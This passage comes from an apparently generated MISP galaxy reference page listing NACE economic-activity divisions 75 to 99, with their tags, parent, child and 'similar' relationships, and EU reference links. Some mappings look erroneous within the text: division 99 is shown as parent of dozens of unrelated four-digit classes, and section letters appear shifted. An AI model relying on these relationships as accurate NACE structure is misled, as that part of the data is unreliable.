- parent-of: misp-galaxy:NACE="750" with estimative-language:likelihood-probability="likely"

Table 11891. Table References

Links
http://data.europa.eu/ux2/nace2/75

77

The tag is: *misp-galaxy:NACE="77"*

View relationships graph

77 has relationships with:

- similar: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="771" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="772" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="773" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="774" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="775" with estimative-language:likelihood-probability="likely"

Table 11892. Table References

Links
http://data.europa.eu/ux2/nace2/77

78

The tag is: *misp-galaxy:NACE="78"*

View relationships graph

78 has relationships with:

- child-of: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="781" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="782" with estimative-language:likelihood-probability="likely"

Table 11893. Table References

Links
http://data.europa.eu/ux2/nace2/78

79

The tag is: *misp-galaxy:NACE="79"*

View relationships graph

79 has relationships with:

- child-of: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="799" with estimative-language:likelihood-probability="likely"

Table 11894. Table References

Links
http://data.europa.eu/ux2/nace2/79

80

The tag is: *misp-galaxy:NACE="80"*

View relationships graph

80 has relationships with:

- similar: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="800" with estimative-language:likelihood-probability="likely"

Table 11895. Table References

Links
http://data.europa.eu/ux2/nace2/80

81

The tag is: *misp-galaxy:NACE="81"*

View relationships graph

81 has relationships with:

- similar: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="813" with estimative-language:likelihood-probability="likely"

Table 11896. Table References

Links
http://data.europa.eu/ux2/nace2/81

82

The tag is: *misp-galaxy:NACE="82"*

View relationships graph

82 has relationships with:

- similar: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="O" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="822" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="823" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="824" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"

Table 11897. Table References

Links
http://data.europa.eu/ux2/nace2/82

84

The tag is: *misp-galaxy:NACE="84"*

View relationships graph

84 has relationships with:

- similar: misp-galaxy:NACE="93" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="P" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="841" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="842" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="843" with estimative-language:likelihood-probability="likely"

Table 11898. Table References

Links
http://data.europa.eu/ux2/nace2/84

85

The tag is: *misp-galaxy:NACE="85"*

View relationships graph

85 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="Q" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="852" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="853" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="854" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="855" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="856" with estimative-language:likelihood-probability="likely"

Table 11899. Table References

Links
http://data.europa.eu/ux2/nace2/85

86

The tag is: *misp-galaxy:NACE="86"*

View relationships graph

86 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="R" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="861" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="862" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="869" with estimative-language:likelihood-probability="likely"

Table 11900. Table References

Links
http://data.europa.eu/ux2/nace2/86

87

The tag is: *misp-galaxy:NACE="87"*

View relationships graph

87 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="R" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="871" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="872" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="873" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="879" with estimative-language:likelihood-probability="likely"

Table 11901. Table References

Links
http://data.europa.eu/ux2/nace2/87

88

The tag is: *misp-galaxy:NACE="88"*

View relationships graph

88 has relationships with:

- similar: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="R" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="881" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="889" with estimative-language:likelihood-probability="likely"

Table 11902. Table References

Links

http://data.europa.eu/ux2/nace2/88

90

The tag is: *misp-galaxy:NACE="90"*

View relationships graph

90 has relationships with:

- child-of: misp-galaxy:NACE="S" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="901" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="902" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="903" with estimative-language:likelihood-probability="likely"

Table 11903. Table References

Links
http://data.europa.eu/ux2/nace2/90

91

The tag is: *misp-galaxy:NACE="91"*

View relationships graph

91 has relationships with:

- similar: misp-galaxy:NACE="33" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="41" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="90" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="S" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="913" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="914" with estimative-language:likelihood-probability="likely"

Table 11904. Table References

Links
http://data.europa.eu/ux2/nace2/91

92

The tag is: *misp-galaxy:NACE="92"*

View relationships graph

92 has relationships with:

- child-of: misp-galaxy:NACE="S" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="920" with estimative-language:likelihood-probability="likely"

Table 11905. Table References

Links
http://data.europa.eu/ux2/nace2/92

93

The tag is: *misp-galaxy:NACE="93"*

View relationships graph

93 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="S" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="931" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="932" with estimative-language:likelihood-probability="likely"

Table 11906. Table References

Links
http://data.europa.eu/ux2/nace2/93

94

The tag is: *misp-galaxy:NACE="94"*

View relationships graph

94 has relationships with:

- child-of: misp-galaxy:NACE="T" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="941" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="942" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="949" with estimative-language:likelihood-probability="likely"

Table 11907. Table References

Links
http://data.europa.eu/ux2/nace2/94

95

The tag is: *misp-galaxy:NACE="95"*

View relationships graph

95 has relationships with:

- similar: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="T" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="951" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="952" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="953" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="954" with estimative-language:likelihood-probability="likely"

Table 11908. Table References

Links
http://data.europa.eu/ux2/nace2/95

96

The tag is: *misp-galaxy:NACE="96"*

View relationships graph

96 has relationships with:

- similar: misp-galaxy:NACE="81" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="T" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="961" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="962" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="963" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="964" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="969" with estimative-language:likelihood-probability="likely"

Table 11909. Table References

Links
http://data.europa.eu/ux2/nace2/96

97

The tag is: *misp-galaxy:NACE="97"*

View relationships graph

97 has relationships with:

- child-of: misp-galaxy:NACE="U" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="970" with estimative-language:likelihood-probability="likely"

Table 11910. Table References

Links
http://data.europa.eu/ux2/nace2/97

98

The tag is: *misp-galaxy:NACE="98"*

View relationships graph

98 has relationships with:

- child-of: misp-galaxy:NACE="U" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="981" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="982" with estimative-language:likelihood-probability="likely"

Table 11911. Table References

Links
http://data.europa.eu/ux2/nace2/98

99

The tag is: *misp-galaxy:NACE="99"*

View relationships graph

99 has relationships with:

- child-of: misp-galaxy:NACE="V" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="990" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="0111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0123" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0124" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0125" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0126" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0127" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0128" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0129" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0143" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0144" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0145" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0146" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0147" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0148" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0163" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0170" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0240" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0311" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="0312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0620" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0729" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0891" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0892" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0893" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0899" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="0990" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1011" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1012" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1013" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1031" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1032" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1039" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1041" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1042" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1051" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1052" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1061" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1062" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1071" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1072" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1073" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="1081" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1082" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1083" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1084" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1085" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1086" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1089" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1091" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1092" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1101" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1102" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1103" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1104" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1105" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1106" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1107" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1200" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1393" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1394" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1395" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1396" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1429" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1512" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="1520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1625" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1626" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1627" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1628" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1722" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1723" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1724" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1725" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1814" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1820" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="1920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2011" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2012" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2013" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2014" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2015" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2016" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2017" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2030" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2041" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="2042" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2051" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2059" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2060" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2224" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2225" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2226" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2341" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2342" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2343" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2344" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2345" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2351" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2352" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2361" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2362" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2363" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2364" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2365" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2366" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="2370" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2432" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2433" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2434" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2442" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2443" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2444" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2445" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2446" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2451" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2452" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2453" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2454" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2530" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2540" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2552" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2553" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2563" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2593" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2594" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="2599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2620" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2630" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2640" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2651" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2652" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2660" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2670" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2720" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2731" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2732" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2733" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2740" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2751" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2752" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2790" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2814" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2815" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2822" with estimative-language:likelihood-probability="likely"
